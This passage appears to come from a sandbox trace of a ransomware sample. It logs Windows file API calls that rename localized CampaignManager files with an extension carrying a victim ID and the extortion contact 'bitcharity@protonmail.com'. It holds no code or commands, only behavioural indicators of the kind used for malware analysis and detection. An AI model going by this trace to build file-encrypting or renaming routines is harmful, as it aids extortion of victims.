dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.101] CloseHandle (hObject=0x1154) returned 1 [0276.102] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.102] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.102] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.102] CloseHandle (hObject=0x1154) returned 1 [0276.103] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.103] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.103] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.103] CloseHandle (hObject=0x1154) returned 1 [0276.104] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.104] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.104] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.105] CloseHandle (hObject=0x1154) returned 1 [0276.108] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.108] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.108] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.108] CloseHandle (hObject=0x1154) returned 1 [0276.109] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.109] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.109] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.109] CloseHandle (hObject=0x1154) returned 1 [0276.110] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.110] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.110] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.110] CloseHandle (hObject=0x1154) returned 1 [0276.111] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.111] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.111] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-in\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.112] CloseHandle (hObject=0x1154) returned 1 [0276.115] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.115] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.115] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.115] CloseHandle (hObject=0x1154) returned 1 [0276.116] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.116] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.116] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.116] CloseHandle (hObject=0x1154) returned 1 [0276.117] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.117] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.117] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.118] CloseHandle (hObject=0x1154) returned 1 [0276.119] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.119] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.119] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.119] CloseHandle (hObject=0x1154) returned 1 [0276.122] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.122] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.122] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.122] CloseHandle (hObject=0x1154) returned 1 [0276.123] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.123] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.124] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.124] CloseHandle (hObject=0x1154) returned 1 [0276.125] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.125] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.125] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.125] CloseHandle (hObject=0x1154) returned 1 [0276.126] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.126] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.126] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.126] CloseHandle (hObject=0x1154) returned 1 [0276.129] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.130] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.130] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.223] CloseHandle (hObject=0x1154) returned 1 [0276.912] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.912] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.912] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-cl\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.912] CloseHandle (hObject=0x1074) returned 1 [0276.914] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.914] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.914] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.914] CloseHandle (hObject=0x1074) returned 1 [0276.915] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.915] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.916] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.916] CloseHandle (hObject=0x1074) returned 1 [0276.917] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.917] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.917] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.917] CloseHandle (hObject=0x1074) returned 1 [0276.920] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.920] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.920] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.921] CloseHandle (hObject=0x1074) returned 1 [0276.921] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.922] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.922] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.922] CloseHandle (hObject=0x1074) returned 1 [0276.923] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.923] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.923] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.923] CloseHandle (hObject=0x1074) returned 1 [0276.924] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.924] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.924] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-fr\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.924] CloseHandle (hObject=0x1074) returned 1 [0276.928] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.928] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.928] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\index.html.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\index.html.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.928] CloseHandle (hObject=0x1074) returned 1 [0276.929] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.929] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.929] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgrade.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastbeginupgrade.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.929] CloseHandle (hObject=0x1074) returned 1 [0276.930] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.930] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.931] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastbeginupgradeth2.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastbeginupgradeth2.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.931] CloseHandle (hObject=0x1074) returned 1 [0276.931] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.931] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.931] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-XF\\toastreviewsettings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-xf\\toastreviewsettings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.932] CloseHandle (hObject=0x1074) returned 1 [0276.939] 